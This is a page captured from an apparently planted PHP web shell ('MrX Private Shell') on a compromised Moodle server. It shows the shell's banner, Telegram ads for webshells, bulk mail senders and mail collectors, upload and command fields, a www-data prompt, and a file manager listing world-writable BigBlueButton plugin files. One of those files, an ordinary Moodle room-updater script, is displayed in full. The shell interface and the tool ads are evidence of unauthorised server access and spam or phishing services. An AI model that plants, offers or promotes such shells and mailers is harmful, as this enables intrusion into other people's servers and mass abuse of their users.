__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * JS room updater.
 *
 * @module      mod_bigbluebuttonbn/roomupdater
 * @copyright   2021 Blindside Networks Inc
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import Pending from 'core/pending';
import Templates from "core/templates";
import {exception as displayException} from 'core/notification';
import {getMeetingInfo} from './repository';

let timerReference = null;
let timerRunning = false;
let pollInterval = 0;
let pollIntervalFactor = 1;
const MAX_POLL_INTERVAL_FACTOR = 10;

const resetValues = () => {
    timerRunning = false;
    timerReference = null;
    pollInterval = 0;
    pollIntervalFactor = 1;
};

/**
 * Start the information poller.
 * @param {Number} interval interval in miliseconds between each poll action.
 */
export const start = (interval) => {
    resetValues();
    timerRunning = true;
    pollInterval = interval;
    poll();
};

/**
 * Stop the room updater.
 */
export const stop = () => {
    if (timerReference) {
        clearTimeout(timerReference);
    }
    resetValues();
};

/**
 * Start the information poller.
 */
const poll = () => {
    if (!timerRunning || !pollInterval) {
        // The poller has been stopped.
        return;
    }
    updateRoom()
        .then((updateOk) => {
            if (!updateOk) {
                pollIntervalFactor = (pollIntervalFactor < MAX_POLL_INTERVAL_FACTOR) ?
                    pollIntervalFactor + 1 : MAX_POLL_INTERVAL_FACTOR;
                // We make sure if there is an error that we do not try too often.
            }
            timerReference = setTimeout(() => poll(), pollInterval * pollIntervalFactor);
            return true;
        })
        .catch();
};

/**
 * Update the room information.
 *
 * @param {boolean} [updatecache=false] should we update cache
 * @returns {Promise}
 */
export const updateRoom = (updatecache = false) => {
    const bbbRoomViewElement = document.getElementById('bigbluebuttonbn-room-view');
    if (bbbRoomViewElement === null) {
        return Promise.resolve(false);
    }

    const bbbId = bbbRoomViewElement.dataset.bbbId;
    const groupId = bbbRoomViewElement.dataset.groupId;

    const pendingPromise = new Pending('mod_bigbluebuttonbn/roomupdater:updateRoom');

    return getMeetingInfo(bbbId, groupId, updatecache)
        .then(data => {
            // Just make sure we have the right information for the template.
            data.haspresentations = !!(data.presentations && data.presentations.length);
            return Templates.renderForPromise('mod_bigbluebuttonbn/room_view', data);
        })
        .then(({html, js}) => Templates.replaceNode(bbbRoomViewElement, html, js))
        .then(() => pendingPromise.resolve())
        .catch(displayException);
};

Filemanager

Name Type Size Permission Actions
actions.js File 2.11 KB 0777
events.js File 2.09 KB 0777
guest_access_modal.js File 3.11 KB 0777
index.js File 1.07 KB 0777
modform.js File 13.56 KB 0777
recordings.js File 13.85 KB 0777
repository.js File 3.58 KB 0777
rooms.js File 3.51 KB 0777
roomupdater.js File 3.36 KB 0777
Filemanager